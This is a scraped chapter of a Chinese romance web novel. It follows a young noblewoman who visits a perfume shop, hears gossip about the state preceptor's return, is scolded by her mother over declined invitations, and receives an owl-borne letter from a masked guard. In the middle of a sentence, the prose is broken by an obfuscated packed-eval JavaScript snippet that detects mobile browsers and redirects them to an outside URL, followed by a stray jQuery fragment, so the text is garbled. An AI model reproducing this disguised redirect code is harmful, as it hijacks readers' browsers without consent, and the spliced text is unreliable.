14. 大猫头鹰送口信

作品:《如何勾搭天子鹰犬

    “诶?那不是大人特意叫迎进来的姑娘吗?”


    提刀的那人迷茫了一瞬,指着自己,难以置信地问身旁的同伴:“她刚才……是不是狠狠瞪了我一眼?是吧是吧?又凶又鄙夷的样子,我欠她钱了?”


    同伴也摸不着头脑,视线的尽头,那姑娘的背影已经加快脚步离开了。


    他拍了拍男人的肩膀,随口安慰道:“可能……是你丑到人家了吧。”


    “啊?!”提刀男人更郁闷了。


    他抬手摸了摸脸上冰凉的面具,纳闷道:


    “这可是咱们枭兰卫统一制式的面具!指挥使大人戴着它的时候可受欢迎了,我都听说了,上京里头那些大姑娘小媳妇,哪个不偷偷夸一句‘神秘莫测’,‘气度非凡’?怎么到了我脸上,就丑到吓人了?这面具还认主不成?”


    同伴憋着笑,把他往门里推:“行了行了,快进去吧,活儿还没干完呢。你以为谁都是指挥使大人呢?人家那叫气度,你嘛……顶多算个凶神恶煞。”


    “去你的!”


    男人骂了一句,悻悻地摘下面具,翻过来翻过去看了看,又戴了回去,转身踏回那弥漫着血腥气的黑暗甬道,木门“吱呀”一声,再次合拢,将那令人不适的一切隔绝在内。


    ……


    另一头,姜瑛几乎是小跑着离开了枭兰卫衙署所在的地界。


    直到转入热闹的长街,车马人声的喧嚷扑面而来,她才觉得胸口那阵憋闷的寒意稍稍散去,重新活了过来。


    远远便能看到,京中最大的香铺又飘起了长长的绶带,姜瑛忽地想起,前几日母亲和贵妃都念叨着想要些新制的香粉,便转身走进了店内。


    香铺的店家姓苏,三十许人,风韵犹存,更有一手调香绝技,她早年落魄时受过姜瑛一些帮助,两人关系不错。


    一见姜瑛进门,她便笑盈盈地迎上来,得知姜瑛的来意后,一边吩咐伙计去取新到的几样香粉,一边絮絮地同她说着近来京中的新鲜事。


    “对了,你可听说了?国师大人很快就要回京了。”苏皎压低声音,眼里带着光。


    “云微哥哥?”姜瑛眼睛一亮,“他要回来了?西南那边……有消息了?”


    两个月前,大梁国师宿云微占卜得出,贵妃早年遗失的女儿如今方位在西南,便奉旨率众弟子前去西南寻找线索,此事隐秘,但姜瑛与贵妃亲近,又与国师相识,才略知一二。


    “可不是嘛!”店家点点头,偷偷观察姜瑛的神色,道:“坊间隐约有传闻,说国师大人这趟颇有收获,似乎寻到了些确切的线索,不日就将抵京。只是……究竟找没找着那位小殿下,还不好说,但总归是个好消息,对吧?”


    姜瑛绽开笑容,眉眼弯弯:“若真能找回小公主,那真是天大的喜事!贵妃娘娘这些年心里太苦了。”


    苏皎看着她纯粹喜悦的模样,反而迟疑了一下。


    她倾身向前,声音几不可闻:“我的傻姑娘,你……就不担心吗?”


    “担心?”姜瑛不解,“我担心什么?”


    “贵妃娘娘待你如珠如宝,固然是喜欢你,可何尝不是……将你当成了她失去女儿后的一份寄托和慰藉?”


    苏皎目光复杂,细细讲给姜瑛听:“倘若她的亲生女儿真的回来了,贵妃的宠爱和关注,难免要分出去,你心里难道一点儿也不介意?”


    姜瑛轻轻“啊——”了一声,默了默,才道:“我怎么会介意呢?那是贵妃娘娘心心念念了十几年的骨肉啊!她若能得偿所愿,我只会替她高兴。”


    姜瑛一手托腮,已经陷入了美好的想象,“如果公主真的能回来,她和贵妃是亲母女啊,之间的羁绊和感情肯定是比我这个外人深厚的……再说了,等她回来,我可以和她做好姐妹啊!”


    她眼底清澈,没有半分勉强或阴霾。


    苏皎静静看了她片刻,终是微微摇了摇头,没再说什么,只是心想,姜瑛心性纯善,总将人都想得太好,可深宫之事,血脉亲情,哪有那么简单?但愿……是她和国师大人多想了吧。


    两人正说着话,外头街面上传来一阵急促清脆的马蹄声,由远及近,又飞快远去。


    姜瑛下意识回头,从半开的窗格望去,几匹通体乌黑的骏马疾驰而过,马背上的人皆身着熟悉的玄色劲装,正是枭兰卫们,方向明确,直奔皇宫。


    “又是枭兰卫。”


    苏皎见怪不怪,收回目光,继续分拣着香料,“自从那位萧指挥使常驻京城,这帮人的动静是越来越大了。前两日还查抄了几个官员的府邸,抓了不少人进去审呢。”她语气平淡,听不出褒贬。


    姜瑛眼前又闪过那扇漆黑小门后的景象,滴血的刀,扭曲的壁画,还有那戴着黑面具的“萧指挥使”……


    她迟疑着道:“苏姐姐,你说他们……究竟是好人,还是坏人?”


    苏皎闻言,耸了耸肩,随手将一撮干花丢进石臼,漫不经心道:“亦好亦坏,亦正亦邪吧,都是为天子做事罢了,趁手的工具而已。”


    这话说得实在大胆,甚至可称大逆不道。


    姜瑛吓了一跳,慌忙倾身过去捂住她的嘴,急道:“呸呸呸!人多眼杂,你可不能乱说话!”


    苏皎拉下她的手,娇笑一声,不以为意道:“怕什么?我可不像你们官宦人家,对天家贵人有那么多敬畏之心。”


    “当年我走投无路,是国师大人给了我容身之所,后来生意艰难,是你这丫头帮我出主意,如今我能安安稳稳站在这儿,靠的是自己调香的手艺和客人们兜里的银钱。除了你们,这天底下,我懒得搭理谁,也不想怕谁。”


    姜瑛对她这番时常冒出来的“狂言”早已见怪不怪,闻言也只是小小翻了个白眼,拿她没办法。


    思绪被拉回,她托着腮,眼神有些飘远,轻轻叹了口气:“一眨眼,国师大人都走了两个月了……好久没见他,听你这么一说,真想他呀。”


    苏皎眼神闪了闪,却只是笑笑没说话。


    又在香阁里坐了片刻,选好几样香粉,姜瑛便告辞回家。去时的沉重被苏皎那番惊人之语冲淡了些,又想到旧友马上归来的好消息,她脚步轻快了不少。


    然而,这份轻松并未持续到夜晚。


    晚膳时分,气氛便有些异样了。


    柳氏沉默地用了半碗饭,看着姜瑛乐呵呵的样子,终于带着不悦开口:“般般,我有话和你说。”


    姜瑛动筷的动作一顿,不明所以地抬头。


    柳氏开始絮絮叨叨:“娘知道,你不喜欢虚与委蛇的应酬。可即便是回绝别家小姐的邀约,言辞也需多加注意,顾及彼此颜面,切勿态度不好……她们的父母与你的爹娘平日也多有往来,关系实在不宜弄僵!”


    姜瑛被这没头没脑的埋怨说得一愣,没反应过来。


    她前段日子确实推掉了好几家小姐诗会、茶会的邀帖。


    但是,每一次她都有好好写了回帖委婉回绝,还特意备了些时兴的绣帕、新书或糕点作为回礼,差人一并送去。


    怎么就“态度不好”了?


    “娘,我回绝时都好好写了回帖的,并未失礼呀?”她放下碗,疑惑道。


    柳氏见她一脸茫然不似作伪,眉头蹙得更紧,叹了口气:“你是觉得自己礼数周全,可人家未必这么想,今日我与几位夫人小聚,没少听些含沙射影的话……都说你如今眼界高了,仗着贵妃娘娘宠爱,见过大世面,瞧不上她们那些小聚会。”


    其实,那些夫人小姐说的话更难听,什么“攀上高枝忘了旧友”、“假清高”、“目中无人”……只是柳氏顾及女儿心情,不忍复述。


    她看着女儿怔住的脸,心中那股憋闷又添了几分,忍不住又叹了口气:“你回去再好生想想,当时回帖上究竟是如何写的?或许是你无意中措辞欠妥,得罪了人而不自知。”


    她顿了顿,心中不禁微微埋怨起了贵妃,语气里也带了三分不满。


    “唉,当年你刚开蒙那会儿,京中各家有女儿的,都给请了严厉的嬷嬷和女夫子,专门教导女红、礼仪、言行规范。


    我本来也为你物色好了人选,可贵妃娘娘那时……刚刚痛失爱女,心神伤损,又听闻那位女夫子管教极严,动辄鞭笞责罚,心疼你年幼,便硬是越过我将夫子辞退了。


    我想,大概就是那时候耽搁了你,导致你现在说话做事……在一些细处上,少了分寸。”


    这番话压下来,气氛凝滞到了极点。


    姜瑛坐在那里,只觉得口中的饭菜全然失了味道,味同嚼蜡。


    她脸上火辣辣的,心中堵着一团棉花似的,又沉又闷,几乎喘不过气,默默放下筷子,她低低说了句“女儿饱了”,便起身离开了饭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051754|194321||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    厅。


    姜瑛回到自己房中,脚步沉重,心情更是低落到了谷底,柳氏的那些话,反反复复在她的耳边回响。


    有时候,她真的觉得很累。


    她依赖母亲,敬爱贵妃,这两个女人是她生命中最亲近的人,然而,她们对自己的期望和要求,却常常南辕北辙。


    母亲希望她循规蹈矩,融入京中贵女圈子,言行合乎规范,成为一个无可挑剔的大家闺秀。


    而贵妃,似乎更乐意看到她无拘无束、鲜活明亮的模样,甚至隐隐纵容她某些“出格”的任性。


    姜瑛被夹在中间,时常感到无所适从,憋闷又委屈。


    “惜雪姐姐……”她有气无力地呼喊。


    等候在外面的惜雪推门,悄步走进来:“小姐,有何吩咐?”


    “惜雪姐姐,你当时是看着我写下那些回帖的,你帮我想想,难道我的言辞真的很差劲儿?怎么就让她们都很生气呢?”姜瑛蹙着眉,纳闷极了。


    惜雪闻言,眼底泛起微澜。


    她垂下眼帘,淡淡一笑,声音平缓:“小姐您忘了?我不识字的。”


    姜瑛她长长叹了口气,揉了揉额角,苦恼十足。


    惜雪观察着她的神色,又慢慢道:“不过,我觉得小姐每次写回帖时态度都很恳切,想来……应当是无碍的,或许是她们误会了小姐的好意。”


    “误会……”姜瑛闷闷地趴在桌上,下巴抵着冰凉的桌面,“和这些小姐夫人们打交道,光态度恳切看来是远远不够的。可我是真的不想去那些宴会……我更喜欢在家里睡大觉。”


    她鼓了鼓腮帮子,像只郁闷的河豚。


    天色已晚,烛火噼啪跳了一下。


    “罢了,你先去休息吧。”她挥挥手,惜雪应声退下,轻轻带上了门。


    屋内安静下来,只剩下烛火摇曳。


    姜瑛独自坐了一会儿,还是觉得心烦意乱,她走到书案前,铺开纸笔,想着要不然再补救一下?


    给那几位被她回绝过的小姐,额外备些礼物表示歉意……应该能挽回些吧。


    可是……送什么呢?李小姐好像喜欢诗词?王小姐最近迷上了收集各种石头?还有张侍郎家的……她喜欢什么来着?


    姜瑛咬着笔杆,脑袋空空,想得头发都快被抓乱了,也没理出个头绪,纸上涂涂画画,尽是些无意义的墨团。


    就在她几乎要放弃,准备吹灯就寝时,窗外忽然传来一阵轻微的、由远及近的“咕咕”声。


    那声音很熟悉,姜瑛竖起了耳朵。


    紧接着,是翅膀扑棱空气的轻响,有什么东西极其轻盈地落在了她的窗棂上,然后,“笃、笃、笃”礼貌地敲了敲窗纸。


    姜瑛心中一动,起身走过去,小心翼翼地推开窗。


    清泠的月色如水银般泻入屋内,照亮了窗前的不速之客——


    一只羽毛蓬松、圆头圆脑的大猫头鹰,正歪着头,用那双金黄色的、在夜色中格外明亮的大眼睛,安静地望着她。


    “啊,是妙妙呀!”姜瑛又惊又喜,压低声音唤道。


    妙妙“咕咕”叫了两声,抬起一只爪子,示意她看。


    姜瑛这才注意到,它那锋利的爪子上,系着一个细小的、打磨光滑的竹筒。


    她心跳莫名快了几分,伸手小心地将竹筒解下,从竹筒里倒出一卷极薄的纸笺,缓缓展开。


    纸上的字迹跃入眼帘,力透纸背,笔锋苍劲而舒展,带着一种内敛的锋芒,内容却很是客气:


    “某顿首。前承姑娘慨然允诺赐药,此情拳拳,感念于心。本不该如此急切相扰,实是创处疼痛未减,辗转难眠,又恐迁延日久,辜负一片关切之心。冒昧相询,不知可早赐一二?春夜尚寒,伏惟珍摄,顺颂妆安。”


    言辞彬彬有礼,甚至透着点古板的书面气,但是字里行间的小心翼翼,却又透出几分亲近。


    姜瑛看着看着,忍不住“噗嗤”一声笑了出来,对着空气小声嘀咕:“讨个药而已,写得这么文绉绉……还让妙妙大老远送信?真是大费周章……”


    她话音刚落,窗外的夜色似乎微微晃动了一下。


    一个带笑的声音,清朗又隐含磁性,自窗外那棵枝叶繁茂的老树上响起:


    “所以,在下思来想去,还是觉得亲自来取,才显得我更有诚意一些。”